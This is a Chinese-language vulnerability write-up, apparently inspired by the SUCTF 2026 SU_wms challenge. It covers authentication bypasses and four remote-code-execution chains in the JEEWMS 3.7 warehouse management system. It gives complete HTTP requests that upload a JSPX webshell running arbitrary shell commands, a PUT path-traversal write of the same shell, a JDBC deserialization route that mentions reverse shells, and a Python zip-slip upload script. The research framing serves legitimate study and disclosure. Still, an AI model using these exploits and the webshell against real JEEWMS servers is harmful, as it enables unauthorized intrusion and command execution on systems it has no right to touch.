JEEWMS
是一款基于 Java 企业级技术栈开发的开源仓库管理系统,漏洞存在版本是3.7,文章使用环境是3月19日580e924afed5a...的commit。受SUCTF_wms启发,研究或复现了四个RCE,其中JDBC方法复现自官方题解,其实本质都是源于鉴权。

环境准备

部署

最方便的直接用SUCTF的官方镜像:

https://github.com/team-su/SUCTF-2026/tree/main/web/SU_wms/env

也可以到jeewms官方下载或者git clone,按照DOC里的操作手册搭建环境,或是自己起docker环境

https://gitee.com/erzhongxmu/JEEWMS/

调试docker环境

Tomcat作为中间件都是catalina加这个(java8),参考https://forum.butian.net/share/1753:

-agentlib:jdwp=transport=dt_socket,address=5005,server=y,suspend=n

用docker的话,我把docker-compose.yml后面改成:

  app:
    build:
      context: .
      args:
        MYSQL_HOST: mysql
    ports:
      - "8081:8080"
      - "127.0.0.1:5005:5005"//把容器里的5005映射到宿主机的127.0.0.1:5005
    depends_on:
      mysql:
        condition: service_healthy
    environment:
      MYSQL_HOST: mysql
      //以下相当于Tomcat用的配置
      JPDA_ADDRESS: "5005"
      JPDA_TRANSPORT: "dt_socket"
    command: ["catalina.sh", "jpda", "run"]

IDEA里这么配置,命令行实参是自动填的,模式附加到远程JVM:

鉴权绕过

restSpringMvc

查看web.xml:

主要是两个mvc servlet,restSpringMvc的url-pattern匹配/rest/开头的路径

因为指定了classpath*:spring-mvc.xml,再查看spring-mvc.xml,寻找鉴权逻辑

来到AuthInterceptor的<mvc:interceptor>,匹配所有路径,指定了很多白名单,不受鉴权

审计AuthInterceptor.preHandle():

这里匹配到^rest/[a-zA-Z0-9_/]+$,也就是rest/xxxx/就会直接返回true,绕过鉴权,十分可疑,不过不包括.和?

比如以下这些都不会被拦截:

rest/cgUploadController
rest/commonController
rest/tokens/login

但是以下的就会:

rest/cgUploadController.do
rest/cgUploadController?saveFiles

再查看ResourceUtil.getRequestPath,这是jeecgframework自定义的类和方法:

即抛弃&后的字符,比如/jeewms/rest/cgUploadController?saveFiles=1&cgFormId=1

就变为:rest/cgUploadController?saveFiles=1

而含有?就不能绕过拦截,所以请求参数需要放在请求体中

SpringMvc

另一个servlet作用于*.do的url,和restSpringMvc走同一套inceptor,即AuthInterceptor鉴权,有白名单excludeUrls和excludeContainUrls:

				<property name="excludeUrls">
					<list>
						<value>loginController.do?goPwdInit</value>
						<value>loginController.do?pwdInit</value>
						<value>loginController.do?login</value>
						<value>loginController.do?logout</value>
						<value>loginController.do?changeDefaultOrg</value>
                        <value>loginController.do?login2</value>
						<value>loginController.do?login3</value>
						<value>loginController.do?checkuser</value>
						<value>loginController.do?checkuser=</value>
						<value>repairController.do?repair</value>
						<value>systemController.do?saveFiles</value>
						<value>repairController.do?deleteAndRepair</value>
						<value>userController.do?userOrgSelect</value>
						<!--移动图表-->
						<value>cgDynamGraphController.do?design</value>
						<value>cgDynamGraphController.do?datagrid</value>
						<value>cgDynamGraphController.do?datagrid</value>
                        <value>rest/wvGiNoticeController/search</value>
						<value>rest/tokens/login</value>
						<value>rest/wmToDownGoodsController</value>
						<value>rest/wmToUpGoodsController</value>
						<value>rest/wmInQmIController</value>
						<value>rest/wvNoticeController</value>
						<value>rest/wvGiController</value>
						<value>rest/mdGoodsController</value>
						<value>rest/wvStockController</value>
						<value>rest/wmSttInGoodsController</value>
						<value>rest/wmToMoveGoodsController</value>
						<value>rest/wmBaseController/showOrDownqrcodeByurl</value>
						<!-- 菜单样式图标预览 -->
						<value>webpage/common/functionIconStyleList.jsp</value>

					</list>
				</property>
				<property name="excludeContainUrls">
					<list>
                        <value>systemController/showOrDownByurl.do</value>
						<value>wmsApiController.do</value>
					</list>
				</property>

再看AuthInterceptor.preHandle()的白名单验证部分:

        ...
        if (excludeUrls.contains(requestPath)) {
            return true;
        } else if (moHuContain(excludeContainUrls, requestPath)) {
            return true;
        ...

// moHuContain方法
    private boolean moHuContain(List<String> list, String key) {
        for (String str : list) {
            if (key.contains(str)) {
                return true;
            }
        }
        return false;
    }

只要输入得到的requestPath被excludeUrls包含,或包含excludeContainUrls,可以绕过拦截

用路径穿越可以绕过,比如:

/jeewms/systemController/showOrDownByurl.do/../../cgUploadController.do
/jeewms/wmsApiController.do/../cgUploadController.do

还有不需要路径穿越的方式,因为getRequestPath不截断?,所以在参数位置拼接白名单类:

/jeewms/cgUploadController.do?wmsApiController.do

CgUploadController文件上传RCE

文件上传

CgUploadController任意文件上传

全局搜索"upload",找到CgUploadController,搜索到的其他类也大多在该控制器使用

/cgUploadController路由:

生成一个上传文件实体,上传后writeBack回显数据,具体上传操作在systemService.uploadFile(uploadFile),跟到CommonDao.uploadFile():

主要代码:

public Object uploadFile(UploadFile uploadFile) {
        ...
		String uploadbasepath = uploadFile.getBasePath();// 文件上传根目录
        ...
		Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
		// 文件数据库保存路径
		String path = uploadbasepath + "/";// 文件保存在硬盘的相对路径
        String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + "/" + path;// 文件的硬盘真实路径
        ...

uploadFile.getBasePath()返回的默认值为upload,即默认uploadbasepath为/upload:

​

另外路径增加了"CusPath",即files,见saveFiles()。所以path为upload/files/

			if (uploadFile.getCusPath() != null) {
				realPath += uploadFile.getCusPath() + "/";
				path += uploadFile.getCusPath() + "/";
				file = new File(realPath);
				if (!file.exists()) {
					file.mkdirs();// 创建文件自定义子目录
				}
			}

Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();真正取到上传的文件,存为fileMap

处理文件保存的代码如下:

UploadFile的rename默认为true,所以会进入if(uploadFile.isRename())

按时间戳加随机数重命名文件,最重要的是保留用户上传的文件扩展名extend,并且没有做任何后缀和内容过滤,存在任意文件上传

可以调试看下几个path的值:

注意saveFiles()上传后会writeBack回显上传信息

        ...
        cgUploadEntity = systemService.uploadFile(uploadFile);
		cgUploadService.writeBack(id, tableName, cgField, fileKey, cgUploadEntity.getRealpath());
		attributes.put("fileKey", cgUploadEntity.getId());
		attributes.put("viewhref", "commonController.do?objfileList&fileKey=" + cgUploadEntity.getId());
		attributes.put("delurl", "commonController.do?delObjFile&fileKey=" + cgUploadEntity.getId());
		j.setMsg("操作成功");

调试发现writeBack最终会跟到MiniDaoHandler.invoke(),并且得到执行sql语句:

update ${cgFormName} set ${cgFormField} = '${fileUrl}' where id='${cgFormId}'

这里sql语句的配置来源于src/main/java/org/jeecgframework/web/cgform/sql/upload/CgFormUploadDao_updateBackFileInfo.sql

(SpringMvc的配置有点麻烦,没有追究它是怎么关联到这个sql文件的)

所以cgFormName必须存在,不然会报错,在database的启动项随便找个表,不关心上传实体的数据会保存在哪里,只要文件上传了就行

以之前的鉴权绕过为基础,进入/cgUploadController路由进行文件上传,这里用jspx的木马:

POST /jeewms/rest/cgUploadController HTTP/1.1
Host: 192.168.129.1:8081
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvVVYRo0eAw76yXYn
Content-Length: 141

------WebKitFormBoundaryvVVYRo0eAw76yXYn
Content-Disposition: form-data; name="saveFiles"

1
------WebKitFormBoundaryvVVYRo0eAw76yXYn
Content-Disposition: form-data; name="cgFormId"

1
------WebKitFormBoundaryvVVYRo0eAw76yXYn
Content-Disposition: form-data; name="cgFormName"

ba_act_type
------WebKitFormBoundaryvVVYRo0eAw76yXYn
Content-Disposition: form-data; name="cgFormField"

id
------WebKitFormBoundaryvVVYRo0eAw76yXYn
Content-Disposition: form-data; name="cgFormField"; filename="shell.jspx"

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0">
<jsp:directive.page import="java.io.*" contentType="text/plain;charset=UTF-8"/>
<jsp:scriptlet>
out.println("RCE_OK");
String cmd = request.getParameter("cmd");
if (cmd != null &amp;&amp; cmd.length() &gt; 0) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
    BufferedReader outReader = new BufferedReader(new InputStreamReader(p.getInputStream(), "UTF-8"));
    BufferedReader errReader = new BufferedReader(new InputStreamReader(p.getErrorStream(), "UTF-8"));
    String line;
    while ((line = outReader.readLine()) != null) {
        out.println(line);
    }
    while ((line = errReader.readLine()) != null) {
        out.println(line);
    }
    outReader.close();
    errReader.close();
}
</jsp:scriptlet>
</jsp:root>
------WebKitFormBoundaryvVVYRo0eAw76yXYn

回显:

{
  "success": true,
  "msg": "操作成功",
  "obj": null,
  "attributes": {
    "viewhref": "commonController.do?objfileList&fileKey=2c9680839d24d1d2019d250931310006",
    "delurl": "commonController.do?delObjFile&fileKey=2c9680839d24d1d2019d250931310006",
    "fileKey": "2c9680839d24d1d2019d250931310006"
  },
  "jsonStr": "{\"msg\":\"操作成功\",\"success\":true,\"attributes\":{\"viewhref\":\"commonController.do?objfileList&fileKey=2c9680839d24d1d2019d250931310006\",\"delurl\":\"commonController.do?delObjFile&fileKey=2c9680839d24d1d2019d250931310006\",\"fileKey\":\"2c9680839d24d1d2019d250931310006\"}}"
}

没有直接回显保存路径,但是回显了fileKey,要打RCE,还需要找回显出指定文件路径的办法

上传路径读取

openViewFile方法回显swfpath

定位到CommonController的/commonController路由,openViewFile方法,这个名字就很像能回显路径:

由传入的fileid参数获取fileobj,然后反射得到该上传实体的swfpath属性,返回到视图中

再回到CommonDao.uploadFile(),文件保存完后,会设置swfpath,和之前的realpath就只有一个后缀名的区别

if (uploadFile.getSwfpath() != null) {
	// 转SWF
	reflectHelper.setMethdValue(uploadFile.getSwfpath(), path + FileUtils.getFilePrefix(myfilename) + ".swf");
	SwfToolsUtil.convert2SWF(savePath);
}

所以只要获得swfpath,就获得了保存路径

这里除了openViewFile只用填fileid参数:

POST /jeewms/rest/commonController HTTP/1.1
Host: 192.168.129.1:8081
...
Content-Type: application/x-www-form-urlencoded

openViewFile=1&fileid=2c9680839d22bf7c019d2333f6810029

改后缀直接得到路径upload/files/202603251247321Fv5ZEXN.jspx

成功getShell:

objfileGrid方法回显realpath

同样是/commonController路由,objfileGrid方法:

这里有点难找,首先TagUtil.datagrid(response, dataGrid);会返回经处理后的datagrid的属性,因为DataGrid在objfileGrid的参数里,参与Spring MVC自动绑定,可以不用request.getParameter,直接在请求中传入就可以设置DataGrid的属性

比如传入参数page=1&rows=5,就可以设置DataGrid对应的属性

而field参数其实会被以逗号分割,拆成几个字段:

TagUtil的getJson方法:

这里跟了下getJson,看到了.split(",")就猜想field会被分割为不同属性,没有仔细看了,因为很复杂

最终能跟到TagUtil.fieldNametoValues()这里:

反射用getter拿到对应的属性,如果fieldName为realpath,返回的value就是realpath的值

为什么会回显,因为datagrid方法里用了PrintWriter.write(),会把刚才得到的object属性返回:

也就是说,这里达成了用户控制类名(subclassname)+用户控制输出字段(field),可以反射取出<filekey>所对应的实体的指定属性,realpath是位于CgUploadEntity的父类TSAttachment的属性,所以subclassname填两个都可以

试了几次,可以回显出路径,要带上page参数:

POST /jeewms/rest/commonController HTTP/1.1
Host: 192.168.129.1:8081
...
Content-Type: application/x-www-form-urlencoded

objfileGrid=1&subclassname=org.jeecgframework.web.cgform.entity.upload.CgUploadEntity&filekey=2c9680839d22bf7c019d22f494150016&field=id,realpath&page=1&rows=5

成功得到上传路径:

getFiles方法回显path

全局搜索file,发现wmCusCostHController和TmsYwDingdanController有getFiles方法,代码一样

以TmsYwDingdanController的getFiles为例,这应该是最直接返回路径的方法:

findByProperty按照传进来id的值,寻找cgformId与之相同的实体,并返回部分属性,包括path

甚至不需要fileKey,只需要控制cgFormId就行,比如令cgFormId为2:

同样借助越权,传id参数=2,就能得到路径:

TokenController路径穿越文件任意写

定位到TokenController的saveImage方法,一个普通的PUT上传接口,参数可控:

调试器得出webUploadpath的值C://upFiles,在linux中,这会被当成一个普通的目录,就像C:/upFiles/

这里webUploadpath也是直接和fileAddr拼接,拼接完了才getCanonicalPath,意义不明

fileAddr为两层../时,穿越回工作目录:

我用SUCTF的镜像,令fileAddr=../../jeewms/webapps,进行目录穿越:

PUT /jeewms/tokens/saveImage.do?wmsApiController.do=1&imageFileName=pwn.jspx&fileAddr=../../webapps/jeewms HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 849

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0">
<jsp:directive.page import="java.io.*" contentType="text/plain;charset=UTF-8"/>
<jsp:scriptlet>
out.println("RCE_OK");
String cmd = request.getParameter("cmd");
if (cmd != null &amp;&amp; cmd.length() &gt; 0) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
    BufferedReader outReader = new BufferedReader(new InputStreamReader(p.getInputStream(), "UTF-8"));
    BufferedReader errReader = new BufferedReader(new InputStreamReader(p.getErrorStream(), "UTF-8"));
    String line;
    while ((line = outReader.readLine()) != null) {
        out.println(line);
    }
    while ((line = errReader.readLine()) != null) {
        out.println(line);
    }
    outReader.close();
    errReader.close();
}
</jsp:scriptlet>
</jsp:root>

注意这里PUT方法要在url传参,所以用了最后一种绕过方式,加上.do?wmsApiController.do

​

DynamicDataSourceController存在JDBC反序列化

jeewms一直有越权配合jdbc:https://github.com/yiliufeng168/POC/blob/main/JEEWMS/JEEWMS%E7%B3%BB%E7%BB%9FdynamicDataSourceController.do%E5%AD%98%E5%9C%A8JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md

定位到/dynamicDataSourceController的testConnection

不用多说,DriverManager.getConnection存在明显的JDBC反序列化,查看DynamicDataSourceEntity,发现driverClass url dbUser都可控

项目有fastjson依赖,可以mysql jdbc打fastjson原生反序列化:

java-chain生成恶意服务:

结合越权成功反序列化

可以注入内存马或反弹shell

这应该是一个后台接口,本质上还是因为越权造成的

CgformTemplateController解压目录穿越

uploadZip上传zip

zip上传接口,上传路径为tempDir拼接/zip_+随机数:

picTempFile=new File(tempDir.getAbsolutePath(),"/zip_"+request.getSession().getId()+"."+ FileUtils.getExtend(file.getOriginalFilename()));

file.getOriginalFilename()返回文件全名,虽然重命名,但是保留了用户上传的后缀

tempDir如下:

并且重命名后的文件名会回显:

			j.setObj(picTempFile.getName());
		}
		j.setMsg("模板文件上传成功!");
		j.setSuccess(true);
		return j;

doAdd解压

CgformTemplateController的doAdd方法:

basePath就是刚才的tempDir,但是templateCode(CgformTemplateEntity的属性)由用户传入控制

这里没填就是null

压缩包的上传用脚本:

import requests

url = "http://127.0.0.1:8081/jeewms/rest/cgformTemplateController" 
data = {
    'uploadZip': '1'
}

files = {
    'file': ('1.zip', open('shell.zip', 'rb'), 'application/zip')
}

headers = {
    'User-Agent': 'Mozilla/5.0'
}

response = requests.post(url, data=data, files=files, headers=headers)

print(response.status_code)
print(response.text)

回显得到文件名

最终解压的实现是ZipUtil.unzip方法,new File(destDir, entryName)直接将路径拼接

除了templateCode没有任何过滤,这里对entryName也没有过滤,直接路径穿越:

templateCode=../../../../

四层../穿越到jeewms目录:

同样templateZipName也可以控制,填写刚才得到的zip文件名

成功RCE:

doUpdate可能也可以解压,但是需要真实id,不太好找

参考文章

https://fushuling.com/index.php/2026/03/17/xctf-suctf2026-jdbc-masterwms/

https://github.com/yiliufeng168/POC/blob/main/JEEWMS/JEEWMS%E7%B3%BB%E7%BB%9FdynamicDataSourceController.do%E5%AD%98%E5%9C%A8JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md